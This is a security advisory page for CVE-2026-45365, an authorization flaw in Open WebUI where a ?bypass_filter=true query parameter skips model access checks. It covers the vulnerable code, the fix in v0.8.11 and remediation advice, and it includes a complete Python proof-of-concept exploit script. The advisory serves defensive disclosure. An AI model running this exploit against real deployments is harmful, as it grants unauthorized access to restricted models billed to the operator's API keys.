Skip to main content

Open WebUI EUVDEUVD-2026-30649

| CVE-2026-45365 MEDIUM
Improper Authorization (CWE-285)
2026-05-14 https://github.com/open-webui/open-webui GHSA-v6qf-75pr-p96m
5.4
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
5.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
May 14, 2026 - 21:32 vuln.today
Analysis Generated
May 14, 2026 - 21:32 vuln.today
CVE Published
May 14, 2026 - 20:25 nvd
MEDIUM 5.4

DescriptionGitHub Advisory

Summary

An internal-only bypass_filter parameter is exposed on the /openai/chat/completions and /ollama/api/chat HTTP endpoints via FastAPI query string binding, allowing any authenticated user to append ?bypass_filter=true and bypass model access control checks to invoke admin-restricted models.

Details

The generate_chat_completion route handlers in both routers/openai.py and routers/ollama.py declare bypass_filter as a function parameter:

routers/openai.py, line 937-941:

python
@router.post("/chat/completions")
async def generate_chat_completion(
    request: Request,
    form_data: dict,
    user=Depends(get_verified_user),
    bypass_filter: Optional[bool] = False,
    ...
):

routers/ollama.py, line 1283-1288:

python
@router.post("/api/chat")
async def generate_chat_completion(
    ...
    bypass_filter: Optional[bool] = False,
    ...
):

Because FastAPI automatically binds unrecognized function parameters to the query string, any HTTP client can set this value by appending ?bypass_filter=true to the request URL.

When bypass_filter is true, the access control check is skipped entirely:

routers/openai.py, line 980:

python
if not bypass_filter and user.role == "user":
# ACL check - skipped when bypass_filter is True

This parameter is intended for internal use only - the server-side chat pipeline in utils/chat.py (lines 238, 253) passes bypass_filter=True as a Python function argument when making recursive calls to base models that have already been authorized. However, because it appears in the HTTP handler's signature, it is unintentionally exposed to external callers.

This is separate from the BYPASS_MODEL_ACCESS_CONTROL environment variable, which is a deliberate admin setting for trusted environments.

PoC

python
#!/usr/bin/env python3
"""
uv run --no-project --with requests finding_02_bypass_filter_acl_bypass.py [--base-url http://localhost:8089]

Finding #2 - Unauthorized model access via bypass_filter query parameter

SUMMARY:
  The POST /openai/chat/completions and POST /ollama/api/chat endpoints expose
  a bypass_filter query parameter as part of their FastAPI function signatures.
  FastAPI automatically binds this to the query string. When an authenticated
  user appends ?bypass_filter=true, the access control check is skipped:

    if not bypass_filter and user.role == "user":
        check_model_access(user, model)
# <-- skipped when bypass_filter=True

  This allows any authenticated user to invoke models they are not authorized
  to use, including admin-restricted models.

VULNERABLE CODE:
  backend/open_webui/routers/openai.py, line 941 + 980:
    async def generate_chat_completion(..., bypass_filter: Optional[bool] = False, ...):
        ...
        if not bypass_filter and user.role == "user":
# ACL check - skipped when bypass_filter=True

  backend/open_webui/routers/ollama.py, line 1288 + 1339:
    async def generate_chat_completion(..., bypass_filter: Optional[bool] = False, ...):
        ...
        if not bypass_filter and user.role == "user":
# ACL check - skipped when bypass_filter=True

IMPACT:
  Any authenticated user can bypass model access control on both OpenAI and
  Ollama proxy endpoints. Because bypass_filter skips the ACL check but still
  routes through the server-side LLM connection, the attacker can invoke
  admin-restricted models using the server's API keys and receive actual LLM
  responses - effectively gaining free, unauthorized access to any configured
  model.

REPRODUCTION:
  1. Create a restricted model with empty access_grants (admin-only).
  2. Authenticate as a regular user.
  3. POST /openai/chat/completions with the restricted model → expect 403.
  4. POST /openai/chat/completions?bypass_filter=true → request succeeds.

REQUIREMENTS:
  - Running Open WebUI instance with Ollama or OpenAI backend configured
  - A model with restricted access_grants
  - An authenticated user who is NOT granted access to that model
"""

import argparse
import sys
import requests


def main():
    parser = argparse.ArgumentParser(description="Finding #2: bypass_filter ACL bypass")
    parser.add_argument("--base-url", required=True, help="Open WebUI base URL")
    parser.add_argument("--attacker-email", required=True)
    parser.add_argument("--attacker-password", required=True)
    parser.add_argument("--admin-email", required=True)
    parser.add_argument("--admin-password", required=True)
    args = parser.parse_args()

    base = args.base_url.rstrip("/")
# ── Step 1: Authenticate ──
    print("[*] Authenticating as attacker...")
    r = requests.post(f"{base}/api/v1/auths/signin",
                      json={"email": args.attacker_email, "password": args.attacker_password})
    if not r.ok:
        print(f"[-] Login failed: {r.status_code}")
        sys.exit(1)
    attacker_token = r.json()["token"]
    print(f"[+] Logged in as attacker (id={r.json()['id']})")
# ── Step 2: Find restricted model via admin ──
    print("[*] Authenticating as admin to find restricted model...")
    r = requests.post(f"{base}/api/v1/auths/signin",
                      json={"email": args.admin_email, "password": args.admin_password})
    if not r.ok:
        print(f"[-] Admin login failed: {r.status_code}")
        sys.exit(1)
    admin_token = r.json()["token"]

    r = requests.get(f"{base}/api/v1/models", headers={"Authorization": f"Bearer {admin_token}"})
    if not r.ok:
        print(f"[-] Failed to list models: {r.status_code}")
        sys.exit(1)

    models = r.json()
    if isinstance(models, dict):
        models = models.get("data", models.get("models", []))

    restricted_model_id = None
    base_model_id = None
    for m in models:
        info = m.get("info", {})
        if not info:
            continue
        access_grants = info.get("access_grants", None)
        if access_grants is not None and len(access_grants) == 0 and info.get("base_model_id"):
            restricted_model_id = m["id"]
            base_model_id = info.get("base_model_id")
            print(f"[+] Found restricted model: {restricted_model_id} (base: {base_model_id})")
            break

    if not restricted_model_id:
        print("[-] No restricted model found.")
        sys.exit(1)

    headers = {"Authorization": f"Bearer {attacker_token}"}
    payload = {
        "model": restricted_model_id,
        "messages": [{"role": "user", "content": "Say exactly: BYPASS_CONFIRMED"}],
        "stream": False,
    }
# ── Step 3: Confirm access is denied on /openai/chat/completions ──
    print(f"\n[*] Step 1: POST /openai/chat/completions (no bypass) with model '{restricted_model_id}'...")
    r = requests.post(f"{base}/openai/chat/completions", headers=headers, json=payload)
    print(f"    Response: {r.status_code} {r.text[:200]}")

    if r.status_code == 403:
        print("[+] Access correctly DENIED (403) - attacker cannot use the restricted model")
    else:
        print(f"[!] Unexpected response code {r.status_code} (expected 403)")
# ── Step 4: Bypass with ?bypass_filter=true on OpenAI endpoint ──
    print(f"\n[*] Step 2: POST /openai/chat/completions?bypass_filter=true ...")
    r = requests.post(f"{base}/openai/chat/completions",
                      headers=headers, json=payload,
                      params={"bypass_filter": "true"})
    print(f"    Response: {r.status_code} {r.text[:300]}")

    openai_bypassed = r.status_code != 403

    if openai_bypassed:
        print(f"[+] OpenAI endpoint: ACL BYPASSED (got {r.status_code} instead of 403)")
    else:
        print(f"[-] OpenAI endpoint: bypass did not work (still 403)")
# ── Step 5: Also test Ollama endpoint ──
    print(f"\n[*] Step 3: POST /ollama/api/chat?bypass_filter=true ...")
    ollama_payload = {
        "model": restricted_model_id,
        "messages": [{"role": "user", "content": "Say exactly: BYPASS_CONFIRMED"}],
        "stream": False,
    }
    r_normal = requests.post(f"{base}/ollama/api/chat", headers=headers, json=ollama_payload)
    print(f"    Without bypass: {r_normal.status_code} {r_normal.text[:150]}")

    r_bypass = requests.post(f"{base}/ollama/api/chat", headers=headers, json=ollama_payload,
                             params={"bypass_filter": "true"})
    print(f"    With bypass:    {r_bypass.status_code} {r_bypass.text[:150]}")

    ollama_bypassed = r_normal.status_code == 403 and r_bypass.status_code != 403

    if ollama_bypassed:
        print(f"[+] Ollama endpoint: ACL BYPASSED ({r_normal.status_code} → {r_bypass.status_code})")
    elif r_bypass.status_code != 403:
        print(f"[+] Ollama endpoint: bypass_filter accepted (status {r_bypass.status_code})")
        ollama_bypassed = True
    else:
        print(f"[-] Ollama endpoint: bypass did not work")
# ── Results ──
    if openai_bypassed or ollama_bypassed:
        print(f"\n[+] SUCCESS: bypass_filter query parameter bypasses model access control!")
        print(f"    OpenAI endpoint (/openai/chat/completions): {'BYPASSED' if openai_bypassed else 'not bypassed'}")
        print(f"    Ollama endpoint (/ollama/api/chat):          {'BYPASSED' if ollama_bypassed else 'not bypassed'}")
        print(f"")
        print(f"    Any authenticated user can append ?bypass_filter=true to skip")
        print(f"    check_model_access() and use admin-restricted models via the")
        print(f"    server's own API keys.")
        sys.exit(0)
    else:
        print(f"\n[-] FAILED: bypass_filter did not bypass access control on either endpoint")
        sys.exit(1)


if __name__ == "__main__":
    main()

Impact

Any authenticated user (including those with the lowest "user" role) can invoke any model configured on the server, regardless of access control settings. This bypasses the admin's ability to restrict which models are available to which users - for example, limiting expensive models to specific teams or keeping certain models internal-only.

Resolution

Fixed in commit c0385f60b, first released in v0.8.11 (Mar 2026) - one day after this report.

bypass_filter is no longer a function parameter on either route handler. Both routers/openai.py and routers/ollama.py now read it via getattr(request.state, 'bypass_filter', False). Because request.state can only be populated by server-side code in the same process (typically utils/chat.py when recursing into a base model the caller is already authorized for), external HTTP clients cannot set it via query string, body, or any other transport-level mechanism. Appending ?bypass_filter=true to the URL has no effect - the query parameter is now silently ignored by FastAPI since it doesn't bind to any handler argument.

Users on >= 0.8.11 are not affected.

AnalysisAI

Open WebUI versions 0.8.10 and earlier allow authenticated users to bypass model access control by appending ?bypass_filter=true to POST requests to /openai/chat/completions or /ollama/api/chat endpoints. The vulnerability exposes an internal-only FastAPI function parameter to external HTTP clients via query string binding, permitting any authenticated user to invoke admin-restricted models regardless of their assigned access grants. Vendor-released patch: v0.8.11 (March 2026). No public exploit code identified beyond the PoC in the advisory, but exploitation is trivial for any authenticated user.

Technical ContextAI

Open WebUI is a Python-based web interface for large language models. The vulnerability stems from a FastAPI framework feature where unrecognized function parameters are automatically bound to incoming query strings. The route handlers in routers/openai.py (line 937-941) and routers/ollama.py (line 1283-1288) declare bypass_filter as an Optional[bool] parameter with a default value of False. This parameter was intended for internal use only: the server-side chat pipeline in utils/chat.py (lines 238, 253) passes bypass_filter=True as a Python function argument when making recursive calls to base models that have already been authorized by the initial caller. However, because bypass_filter appears in the HTTP handler's function signature, FastAPI treats it as a valid query parameter and binds any ?bypass_filter=true in the incoming HTTP request to it. The access control logic (routers/openai.py line 980) explicitly skips the check_model_access() call when bypass_filter evaluates to true: if not bypass_filter and user.role == "user": check_model_access(...). This is a classic case of CWE-285 (Improper Authorization) combined with unintended parameter exposure. The fix (commit c0385f60b) removes bypass_filter from the function signature and instead reads it from request.state, a server-side-only data structure that cannot be populated by external HTTP clients.

RemediationAI

Upgrade Open WebUI to version 0.8.11 or later (released March 2026). The patch removes bypass_filter from the HTTP route handler function signatures and instead reads it via getattr(request.state, 'bypass_filter', False), preventing external HTTP clients from controlling the parameter. After upgrade, verify that query parameter ?bypass_filter=true has no effect on access control enforcement by testing model access restrictions with and without the parameter appended. For users unable to upgrade immediately, the workaround is to implement reverse proxy-level query parameter filtering (e.g., nginx rewrite rules or WAF policies) to strip or reject requests containing bypass_filter=true in the query string on the /openai/chat/completions and /ollama/api/chat paths. However, this workaround has limitations: it requires external infrastructure changes, may not catch all bypasses if parameter encoding is used, and does not address the root cause. A second mitigation is to disable the /ollama/api/chat endpoint if Ollama backend is not required, reducing the attack surface. Additionally, if the BYPASS_MODEL_ACCESS_CONTROL environment variable is set (a separate, intentional bypass mechanism for trusted environments), verify that its use is justified and that the Open WebUI instance is truly running in a trusted-only environment with no hostile internal users.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

EUVD-2026-30649 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy